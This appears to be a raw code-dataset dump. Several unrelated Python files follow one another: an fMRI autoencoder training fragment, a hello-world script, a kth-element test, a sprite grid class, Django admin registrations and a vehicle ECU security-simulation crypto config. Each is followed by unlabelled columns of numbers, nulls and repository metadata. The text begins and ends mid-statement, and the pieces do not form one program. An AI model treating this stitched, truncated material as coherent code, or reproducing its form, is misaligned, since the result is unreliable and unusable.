half in [1, 2]: arg_dict["half"]=half TIMESTEPS=932 arg_dict["TIMESTEPS"]=TIMESTEPS arg_dict["start_step"] = (half-1)*TIMESTEPS strat_samples, new_steps, strat_targets, strat_steps, labelled_steps = make_StratDS(arg_dict, log_file) arg_dict["strat_samples"]=strat_samples arg_dict["strat_steps"]=strat_steps #flat number of timesteps arg_dict["new_steps"]=new_steps #list of timesteps arg_dict["strat_targets"]=strat_targets arg_dict["labelled_steps"]=labelled_steps log_file.write("Training primary AE for "+half_dict[half]+"... \n\n") best_loss = -1 best_ae = None ae_list = [] #12 is arbitrary, we just want to account for failure/underperformance due to random initializations for j in range(0,12): ae, window_samples = primary_ae(arg_dict, log_file, "primary") ae_list.append(ae) log_file.write("AE number "+str(j)+" ended with a training loss of "+str(current_loss[0])+"\n") #current_loss is defined and updated within temporal_helpers.py #it's a global variable and is used in the LossCallback function. if (best_loss == -1) or (current_loss[0] < best_loss): best_loss = current_loss[0] best_ae = ae print("converting to json..\n") model_json = best_ae.to_json() with open(ROI_PATH+"/"+str(arg_dict["subject"])+"/"+str(arg_dict["ROI"])+"/"+"strat"+str(arg_dict["strategy"])+"_"+half_dict[half]+"_primary_ae.json", "w") as json_file: json_file.write(model_json) # serialize weights to HDF5 best_ae.save_weights(ROI_PATH+"/"+str(arg_dict["subject"])+"/"+str(arg_dict["ROI"])+"/strat"+str(strategy)+"_"+half_dict[half]+"_primary_ae.h5") log_file.write("Saved model to disk") #load json and create model just to make sure it was saved correctly jsonpath = ROI_PATH+"/"+str(arg_dict["subject"])+"/"+str(arg_dict["ROI"])+"/strat"+str(strategy)+"_"+half_dict[half]+"_primary_ae.json" log_file.write("jsonpath is "+str(jsonpath)) json_file = open(jsonpath, 'r') loaded_model_json = json_file.read() loaded_model = model_from_json(loaded_model_json) # load weights into new model loaded_model.load_weights(ROI_PATH+"/"+str(arg_dict["subject"])+"/"+str(arg_dict["ROI"])+"/strat"+str(strategy)+"_"+half_dict[half]+"_primary_ae.h5") log_file.write("Loaded model from disk") #probably redundant TIMESTEPS = 932 # ############### left side convolution log_file.write("Performing primary convolution for left side... \n\n") arg_dict["ROI"] = arg_dict["ROI"]+"L" flat_pooled_L, left_count = primary_convolution(loaded_model, arg_dict, log_file, "primary", None, None, None) # # log_file.write("Saving first block... \n\n") arg_dict["ROI"] = arg_dict["ROI"]+"L" # save_block(arg_dict, flat_pooled_L, None, "primary", log_file, iteration) arg_dict["ROI"] = arg_dict["ROI"][:-1] log_file.write("first block left side saved") # filters = len(flat_pooled_L) left_features = len(flat_pooled_L[0][0]) log_file.write("left features is "+str(left_features)+"\n") # leftarray = np.zeros((TIMESTEPS, left_features*filters)) log_file.write("leftarray shape is "+str(leftarray.shape)) # for t in range(0, TIMESTEPS): for filter in range(0, filters): for feature in range(0, left_features): leftarray[t][left_features*filter + feature] = flat_pooled_L[filter][t][feature] # ################## right side convolution log_file.write("Performing primary convolution for right side, the arg_dict value is "+str(arg_dict["ROI"])+"... \n\n") arg_dict["ROI"] = arg_dict["ROI"]+"R" flat_pooled_R, right_count = primary_convolution(loaded_model, arg_dict, log_file, "primary", None, None, None) log_file.write("Saving first block... \n\n") arg_dict["ROI"] = arg_dict["ROI"]+"R" save_block(arg_dict, flat_pooled_R, None, "primary", log_file, iteration) arg_dict["ROI"] = arg_dict["ROI"][:-1] log_file.write("first block left side saved") filters = len(flat_pooled_R) right_features = len(flat_pooled_R[0][0]) log_file.write("right features is "+str(right_features)+"\n") rightarray = np.zeros((TIMESTEPS, right_features*filters)) log_file.write("rightarray shape is "+str(rightarray.shape)) for t in range(0, TIMESTEPS): for filter in range(0, filters): for feature in range(0, right_features): rightarray[t][right_features*filter + feature] = flat_pooled_R[filter][t][feature] # # # ################# make datasets ds = load_subject(arg_dict["subject"], arg_dict["ROI"], None) if(half == 1): starting_t = 0 else: starting_t = TIMESTEPS ending_t = starting_t + TIMESTEPS temp_targets = ds.targets[starting_t:ending_t] log_file.write("temp_targets has length "+str(len(temp_targets))+"\n") temp_chunks = ds.chunks[starting_t:ending_t] log_file.write("temp_chunks has length "+str(len(temp_chunks))+"\n") leftds = dataset_wizard(samples=leftarray, targets=temp_targets,chunks=temp_chunks) rightds = dataset_wizard(samples=rightarray, targets=temp_targets, chunks=temp_chunks) left_transformed = open(ROI_PATH+"/"+str(arg_dict["subject"])+"/"+str(arg_dict["ROI"]) + "/" +"strat"+str(strategy)+"_"+half_dict[half]+"_transformed_lh.p", "wb") right_transformed = open(ROI_PATH+"/"+str(arg_dict["subject"])+"/"+str(arg_dict["ROI"]) + "/strat"+str(strategy)+"_"+half_dict[half]+"_transformed_rh.p", "wb") pickle.dump(leftds, left_transformed) pickle.dump(rightds, right_transformed) left_transformed.close() right_transformed.close() log_file.write("saved transformed datasets at "+ROI_PATH+"/"+arg_dict["subject"]+"/"+arg_dict["ROI"] +"\n\n")
42.832869
181
0.589257
1,977
15,377
4.342438
0.114315
0.083984
0.051252
0.0212
0.837507
0.83378
0.829121
0.827723
0.818171
0.818171
0
0.015911
0.268388
15,377
358
182
42.952514
0.7472
0.086298
0
0.630252
0
0
0.155668
0
0
0
0
0
0
1
0
false
0
0.042017
0
0.042017
0.008403
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
120b875226b8e07eac6393b14eab87ed684151a2
40
py
Python
Server_side/hello.py
Aarthif-Nawaz/ARC-R3ACT
8b21eb417cb6f8d603182272d453298c29aff506
[ "MIT" ]
null
null
null
Server_side/hello.py
Aarthif-Nawaz/ARC-R3ACT
8b21eb417cb6f8d603182272d453298c29aff506
[ "MIT" ]
null
null
null
Server_side/hello.py
Aarthif-Nawaz/ARC-R3ACT
8b21eb417cb6f8d603182272d453298c29aff506
[ "MIT" ]
1
2022-01-26T02:30:11.000Z
2022-01-26T02:30:11.000Z
import sys print("Output from Python")
13.333333
28
0.75
6
40
5
1
0
0
0
0
0
0
0
0
0
0
0
0.15
40
3
28
13.333333
0.882353
0
0
0
0
0
0.439024
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0.5
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
1
0
6
1237c0c54567580559e912b07bad1a34a1cc45b1
498
py
Python
python_programs/kth_test.py
vitchyr/QuixBugs
1fd2c3402e1a2aa3ff9ec22d7ba82c07b59996c2
[ "MIT" ]
null
null
null
python_programs/kth_test.py
vitchyr/QuixBugs
1fd2c3402e1a2aa3ff9ec22d7ba82c07b59996c2
[ "MIT" ]
null
null
null
python_programs/kth_test.py
vitchyr/QuixBugs
1fd2c3402e1a2aa3ff9ec22d7ba82c07b59996c2
[ "MIT" ]
null
null
null
from .kth import kth def test_main(): assert kth([1, 2, 3, 4, 5], 0) == 1 assert kth([5, 4, 3, 2, 1], 0) == 1 assert kth([2, 3, 4, 5], 0) == 2 assert kth([5, 4, 3, 2], 0) == 2 assert kth([1], 0) == 1 assert kth([5, 4, 3, 2], 3) == 5 assert kth([5, 4, 3, 2, 1], 3) == 4 assert kth([3, 4, 2, 5], 1) == 3 assert kth([3, 4, 2, 5, 1], 1) == 2 assert kth([3, 4, 2, 5], 3) == 5 assert kth([3, 4, 2, 5, 1], 3) == 4 if __name__ == "__main__": test_main()
24.9
39
0.445783
102
498
2.078431
0.147059
0.466981
0.188679
0.207547
0.641509
0.542453
0.419811
0.283019
0
0
0
0.197101
0.307229
498
19
40
26.210526
0.417391
0
0
0
0
0
0.016064
0
0
0
0
0
0.733333
1
0.066667
true
0
0.066667
0
0.133333
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
1
0
0
1
0
0
0
0
0
0
6
89d84c6688ffe8d499941726ae3e15758d8a7081
26
py
Python
python/testData/copyPaste/SimpleExpressionPartCaretAtLineEnd.after.py
jnthn/intellij-community
8fa7c8a3ace62400c838e0d5926a7be106aa8557
[ "Apache-2.0" ]
2
2018-12-29T09:53:39.000Z
2018-12-29T09:53:42.000Z
python/testData/copyPaste/SimpleExpressionPartCaretAtLineEnd.after.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
173
2018-07-05T13:59:39.000Z
2018-08-09T01:12:03.000Z
python/testData/copyPaste/SimpleExpressionPartCaretAtLineEnd.after.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
2
2020-03-15T08:57:37.000Z
2020-04-07T04:48:14.000Z
def foo(): x = 10 * 20
13
15
0.423077
5
26
2.2
1
0
0
0
0
0
0
0
0
0
0
0.25
0.384615
26
2
15
13
0.4375
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
6
d62941ef40416463b319bcbe6f13f54485c0c45a
1,517
py
Python
src/dot/entities/dotgoblet.py
alisonbento/steering-all
99797f99180dd64189ea5ed85ff71b66bfd9cf6f
[ "MIT" ]
3
2016-10-10T18:34:55.000Z
2017-08-02T15:18:28.000Z
src/dot/entities/dotgoblet.py
alisonbento/steering-all
99797f99180dd64189ea5ed85ff71b66bfd9cf6f
[ "MIT" ]
null
null
null
src/dot/entities/dotgoblet.py
alisonbento/steering-all
99797f99180dd64189ea5ed85ff71b66bfd9cf6f
[ "MIT" ]
null
null
null
import src.dot.dotentity class DotGoblet(src.dot.dotentity.DotEntity): def __init__(self): res = [ "assets/img/black-brick.png", "assets/img/yellow-brick.png", "assets/img/dark-yellow-brick.png" ] grid = [ [0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0], [0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0], [0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 0], [2, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 2], [2, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 2], [0, 2, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 2, 0], [0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0], [0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0], [0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 2, 1, 1, 1, 2, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 2, 1, 1, 1, 2, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0] ] src.dot.dotentity.DotEntity.__init__(self, grid, res) def setSmall(self): self.setDotScale(0.25) def setMedium(self): self.setDotScale(0.5) def setLarge(self): self.setDotScale(0.75)
35.27907
58
0.396177
366
1,517
1.620219
0.076503
0.458685
0.576729
0.647555
0.51602
0.514334
0.514334
0.510961
0.510961
0.510961
0
0.311199
0.334871
1,517
42
59
36.119048
0.276511
0
0
0.314286
0
0
0.056032
0.056032
0
0
0
0
0
1
0.114286
false
0
0.028571
0
0.171429
0
0
0
1
null
1
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
c3bf36d8a1cc568d2898db537a7acba7f9182549
288
py
Python
src/airfly/_vendor/airflow/contrib/sensors/gcp_transfer_sensor.py
ryanchao2012/airfly
230ddd88885defc67485fa0c51f66c4a67ae98a9
[ "MIT" ]
7
2021-09-27T11:38:48.000Z
2022-02-01T06:06:24.000Z
src/airfly/_vendor/airflow/contrib/sensors/gcp_transfer_sensor.py
ryanchao2012/airfly
230ddd88885defc67485fa0c51f66c4a67ae98a9
[ "MIT" ]
null
null
null
src/airfly/_vendor/airflow/contrib/sensors/gcp_transfer_sensor.py
ryanchao2012/airfly
230ddd88885defc67485fa0c51f66c4a67ae98a9
[ "MIT" ]
null
null
null
# Auto generated by 'inv collect-airflow' from airfly._vendor.airflow.providers.google.cloud.sensors.cloud_storage_transfer_service import ( CloudDataTransferServiceJobStatusSensor, ) class GCPTransferServiceWaitForJobStatusSensor(CloudDataTransferServiceJobStatusSensor): pass
32
98
0.854167
24
288
10.083333
0.875
0
0
0
0
0
0
0
0
0
0
0
0.086806
288
8
99
36
0.920152
0.135417
0
0
1
0
0
0
0
0
0
0
0
1
0
true
0.2
0.2
0
0.4
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
6
c3d2a85881618719f7b6a344f457e65d60b5d86a
157
py
Python
app/forum/admin.py
ivanch/django-forum
522d44525948590e953b38438635a66de4f8cd23
[ "MIT" ]
6
2019-09-28T20:17:20.000Z
2021-01-03T19:57:57.000Z
app/forum/admin.py
ivanch/django-forum
522d44525948590e953b38438635a66de4f8cd23
[ "MIT" ]
9
2019-09-15T10:38:47.000Z
2019-10-04T15:25:12.000Z
app/forum/admin.py
ivanch/django-forum
522d44525948590e953b38438635a66de4f8cd23
[ "MIT" ]
4
2019-09-28T22:05:50.000Z
2022-03-31T15:40:50.000Z
from django.contrib import admin from .models import Topic, Post, Comment admin.site.register(Topic) admin.site.register(Post) admin.site.register(Comment)
22.428571
40
0.808917
23
157
5.521739
0.478261
0.212598
0.401575
0
0
0
0
0
0
0
0
0
0.089172
157
6
41
26.166667
0.888112
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.4
0
0.4
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
c3db8b290d0eab4e926c41b3010d547f36be7c1a
32,686
py
Python
ECUSimulation/config/project_registration.py
arturmrowca/IVNS
8915142d16debe4af780a9eb6859e44dea2ca7e6
[ "MIT" ]
8
2016-03-02T11:47:16.000Z
2021-11-05T07:49:25.000Z
ECUSimulation/config/project_registration.py
arturmrowca/IVNS
8915142d16debe4af780a9eb6859e44dea2ca7e6
[ "MIT" ]
1
2019-03-19T14:23:52.000Z
2019-03-25T14:24:45.000Z
ECUSimulation/config/project_registration.py
PhilippMundhenk/IVNS
b2e395611e9b5111aeda7ab128f3486354bbbf0d
[ "MIT" ]
5
2016-02-11T10:12:27.000Z
2020-10-09T02:27:41.000Z
from config.registrator import Registrator from config import config_io from enums.gen_cfg_enums import IniConfig from enums.sec_cfg_enum import SymAuthMechEnum, AsymAuthMechEnum, \ AuKeyLengthEnum, HashMechEnum, PRF import logging from components.base.message.impl_bus_message_can import * # @UnusedWildImport import os from components.base.message.impl_bus_message_can_fd import CANFDSegMessage import sys from enums.tls_enums import CompressionMethod ''' valid values for those objects are: constants list of singleton objects and functions ['singleton_class_full_qualified', 'func_to_call'] (args are coming from call) ''' reg = Registrator() load_config = True create_raw_config_file = False config_file_path = os.path.join(os.path.dirname(__file__), "data/project.ini") #=============================================================================== # DEFINITIONS #=============================================================================== DEF_HASH_SIZE = {HashMechEnum.SHA1 : 20, HashMechEnum.SHA256 : 32, HashMechEnum.MD5 : 16} #=============================================================================== # GENERAL #=============================================================================== BUS_MSG_CLASS = CANSegMessage reg.reg_proj_config('General', 'BUS_MSG_CLASS', 'CAN', CANSegMessage) reg.reg_proj_config('General', 'BUS_MSG_CLASS', 'CAN_SEG', CANSegMessage) reg.reg_proj_config('General', 'BUS_MSG_CLASS', 'CAN_FD', CANFDSegMessage) reg.reg_proj_config('General', 'BUS_MSG_CLASS', 'CAN_FD_SEG', CANFDSegMessage) NONCE_VALIDITY = 10 reg.reg_proj_config('General', 'NONCE_VALIDITY', 'INFINITY', sys.maxsize) TIMESTAMP_VALIDITY = 9000 # Duration reg.reg_proj_config('General', 'TIMESTAMP_VALIDITY', 'INFINITY', sys.maxsize) APP_LIFETIME = 2000 reg.reg_proj_config('General', 'APP_LIFETIME', 'DEFAULT', 2000) BUS_ECU_DATARATE = 1000000 reg.reg_proj_config('General', 'BUS_ECU_DATARATE', 'HIGH_SPEED', 1000000) reg.reg_proj_config('General', 'BUS_ECU_DATARATE', 'LOW_SPEED', 125000) #=============================================================================== # CERTIFICATION #=============================================================================== ECU_CERT_HASHING_MECH = HashMechEnum.MD5 reg.reg_proj_config('Certification', 'ECU_CERT_HASHING_MECH', 'MD5', HashMechEnum.MD5) reg.reg_proj_config('Certification', 'ECU_CERT_HASHING_MECH', 'SHA1', HashMechEnum.SHA1) reg.reg_proj_config('Certification', 'ECU_CERT_HASHING_MECH', 'SHA256', HashMechEnum.SHA256) ECU_CERT_ENCRYPTION_MECH = AsymAuthMechEnum.RSA reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH', 'RSA', AsymAuthMechEnum.RSA) reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH', 'ECC', AsymAuthMechEnum.ECC) ECU_CERT_ENCRYPTION_MECH_OPTION = 3 reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH_OPTION', 'EXP_3', 3) reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH_OPTION', 'EXP_5', 5) reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH_OPTION', 'EXP_17', 17) reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH_OPTION', 'EXP_257', 257) reg.reg_proj_config('Certification', 'ECU_CERT_ENCRYPTION_MECH_OPTION', 'EXP_65537', 65537) ECU_CERT_KEYL = AuKeyLengthEnum.bit_1024 reg.reg_proj_config('Certification', 'ECU_CERT_KEYL', 'bit_192', AuKeyLengthEnum.bit_192) reg.reg_proj_config('Certification', 'ECU_CERT_KEYL', 'bit_256', AuKeyLengthEnum.bit_256) reg.reg_proj_config('Certification', 'ECU_CERT_KEYL', 'bit_384', AuKeyLengthEnum.bit_384) reg.reg_proj_config('Certification', 'ECU_CERT_KEYL', 'bit_512', AuKeyLengthEnum.bit_512) reg.reg_proj_config('Certification', 'ECU_CERT_KEYL', 'bit_1024', AuKeyLengthEnum.bit_1024) reg.reg_proj_config('Certification', 'ECU_CERT_KEYL', 'bit_2048', AuKeyLengthEnum.bit_2048) ECU_CERT_CA_LEN = 1 reg.reg_proj_config('Certification', 'ECU_CERT_CA_LEN', 'ca_1', 1) reg.reg_proj_config('Certification', 'ECU_CERT_CA_LEN', 'ca_2', 2) reg.reg_proj_config('Certification', 'ECU_CERT_CA_LEN', 'ca_3', 3) reg.reg_proj_config('Certification', 'ECU_CERT_CA_LEN', 'ca_4', 4) ECU_CERT_SIZE_HASH_TO_SIGN = 20 reg.reg_proj_config('Certification', 'ECU_CERT_SIZE_HASH_TO_SIGN', 'X509', 1000) # 1 KB ECU_CERT_SIZE_HASH = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE reg.reg_proj_config('Certification', 'ECU_CERT_SIZE_HASH', 'CALC', ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size']) # 1 KB reg.reg_proj_config('Certification', 'ECU_CERT_SIZE_HASH', 'X509', 1000) # 1 KB SECMOD_CERT_HASHING_MECH = HashMechEnum.MD5 reg.reg_proj_config('Certification', 'SECMOD_CERT_HASHING_MECH', 'MD5', HashMechEnum.MD5) reg.reg_proj_config('Certification', 'SECMOD_CERT_HASHING_MECH', 'SHA1', HashMechEnum.SHA1) reg.reg_proj_config('Certification', 'SECMOD_CERT_HASHING_MECH', 'SHA256', HashMechEnum.SHA256) SECMOD_CERT_ENCRYPTION_MECH = AsymAuthMechEnum.RSA reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH', 'RSA', AsymAuthMechEnum.RSA) reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH', 'ECC', AsymAuthMechEnum.ECC) SECMOD_CERT_ENCRYPTION_MECH_OPTION = 3 reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH_OPTION', 'EXP_3', 3) reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH_OPTION', 'EXP_5', 5) reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH_OPTION', 'EXP_17', 17) reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH_OPTION', 'EXP_257', 257) reg.reg_proj_config('Certification', 'SECMOD_CERT_ENCRYPTION_MECH_OPTION', 'EXP_65537', 65537) SECMOD_CERT_KEYL = AuKeyLengthEnum.bit_1024 reg.reg_proj_config('Certification', 'SECMOD_CERT_KEYL', 'bit_192', AuKeyLengthEnum.bit_192) reg.reg_proj_config('Certification', 'SECMOD_CERT_KEYL', 'bit_256', AuKeyLengthEnum.bit_256) reg.reg_proj_config('Certification', 'SECMOD_CERT_KEYL', 'bit_384', AuKeyLengthEnum.bit_384) reg.reg_proj_config('Certification', 'SECMOD_CERT_KEYL', 'bit_512', AuKeyLengthEnum.bit_512) reg.reg_proj_config('Certification', 'SECMOD_CERT_KEYL', 'bit_1024', AuKeyLengthEnum.bit_1024) reg.reg_proj_config('Certification', 'SECMOD_CERT_KEYL', 'bit_2048', AuKeyLengthEnum.bit_2048) SECMOD_CERT_CA_LEN = 1 reg.reg_proj_config('Certification', 'SECMOD_CERT_CA_LEN', 'ca_1', 1) reg.reg_proj_config('Certification', 'SECMOD_CERT_CA_LEN', 'ca_2', 2) reg.reg_proj_config('Certification', 'SECMOD_CERT_CA_LEN', 'ca_3', 3) reg.reg_proj_config('Certification', 'SECMOD_CERT_CA_LEN', 'ca_4', 4) SECMOD_CERT_SIZE_HASH_TO_SIGN = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE reg.reg_proj_config('Certification', 'SECMOD_CERT_SIZE_HASH_TO_SIGN', 'CALC', ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size']) # 1 KB reg.reg_proj_config('Certification', 'SECMOD_CERT_SIZE_HASH_TO_SIGN', 'X509', 1000) # 1 KB SECMOD_CERT_SIZE_HASH_SIGNED = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE reg.reg_proj_config('Certification', 'SECMOD_CERT_SIZE_HASH_SIGNED', 'CALC', ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size']) # 1 KB reg.reg_proj_config('Certification', 'SECMOD_CERT_SIZE_HASH_SIGNED', 'X509', 1000) # 1 KB #=============================================================================== # ECU Authentication #=============================================================================== # Interval to repeat the ECU Authentication SSMA_ECU_AUTH_INTERVAL = 0 reg.reg_proj_config('ECUAuthentication', 'SSMA_ECU_AUTH_INTERVAL', 'SHORT', 100) reg.reg_proj_config('ECUAuthentication', 'SSMA_ECU_AUTH_INTERVAL', 'LONG', 1000) reg.reg_proj_config('ECUAuthentication', 'SSMA_ECU_AUTH_INTERVAL', 'INFINITY', sys.maxsize) # Asymmetric Algorithm used in the Security Module SSMA_SECM_PUB_ENC_ALG = AsymAuthMechEnum.RSA reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG', 'RSA', AsymAuthMechEnum.RSA) reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG', 'ECC', AsymAuthMechEnum.ECC) SSMA_SECM_PUB_ENC_ALG_OPTION = 3 reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG_OPTION', 'EXP_3', 3) reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG_OPTION', 'EXP_5', 5) reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG_OPTION', 'EXP_17', 17) reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG_OPTION', 'EXP_257', 257) reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_ALG_OPTION', 'EXP_65537', 65537) SSMA_SECM_PUB_ENC_KEY_LEN = AuKeyLengthEnum.bit_512 reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192) reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256) reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_KEY_LEN', 'bit_384', AuKeyLengthEnum.bit_384) reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_KEY_LEN', 'bit_512', AuKeyLengthEnum.bit_512) reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_KEY_LEN', 'bit_1024', AuKeyLengthEnum.bit_1024) reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_PUB_ENC_KEY_LEN', 'bit_2048', AuKeyLengthEnum.bit_2048) # ECU Authentication: Symmetric Key of ECU (Encryption Algorithm) used for ECU Authentication SCCM_ECU_SYM_KEY_ENC_ALG = SymAuthMechEnum.AES reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_ALG', 'AES', SymAuthMechEnum.AES) SCCM_ECU_SYM_KEY_ENC_ALG_MODE = SymAuthMechEnum.CBC reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_ALG_MODE', 'CCM', SymAuthMechEnum.CCM) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_ALG_MODE', 'CBC', SymAuthMechEnum.CBC) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_ALG_MODE', 'CMAC', SymAuthMechEnum.CMAC) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_ALG_MODE', 'ECB', SymAuthMechEnum.ECB) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_ALG_MODE', 'CTR', SymAuthMechEnum.CTR) SCCM_ECU_SYM_KEY_ENC_KEY_LEN = AuKeyLengthEnum.bit_1024 reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_KEY_LEN', 'bit_128', AuKeyLengthEnum.bit_128) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_SYM_KEY_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256) # ECU Authentication: Asymetric Algorithm used in the ECUs comm Module SCCM_ECU_PUB_ENC_ALG = AsymAuthMechEnum.ECC reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG', 'ECC', AsymAuthMechEnum.ECC) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG', 'RSA', AsymAuthMechEnum.RSA) SCCM_ECU_PUB_ENC_ALG_OPTION = 5 reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG_OPTION', 'EXP_3', 3) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG_OPTION', 'EXP_5', 5) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG_OPTION', 'EXP_17', 17) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG_OPTION', 'EXP_257', 257) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_ALG_OPTION', 'EXP_65537', 65537) SCCM_ECU_PUB_ENC_KEY_LEN = AuKeyLengthEnum.bit_128 reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_KEY_LEN', 'bit_384', AuKeyLengthEnum.bit_384) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_KEY_LEN', 'bit_512', AuKeyLengthEnum.bit_512) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_KEY_LEN', 'bit_1024', AuKeyLengthEnum.bit_1024) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_PUB_ENC_KEY_LEN', 'bit_2048', AuKeyLengthEnum.bit_2048) # ECU Authentication: Hashing Algorithm used for the hashing in the REGISTRATION Message SCCM_ECU_REG_MSG_HASH = HashMechEnum.MD5 reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_REG_MSG_HASH', 'MD5', 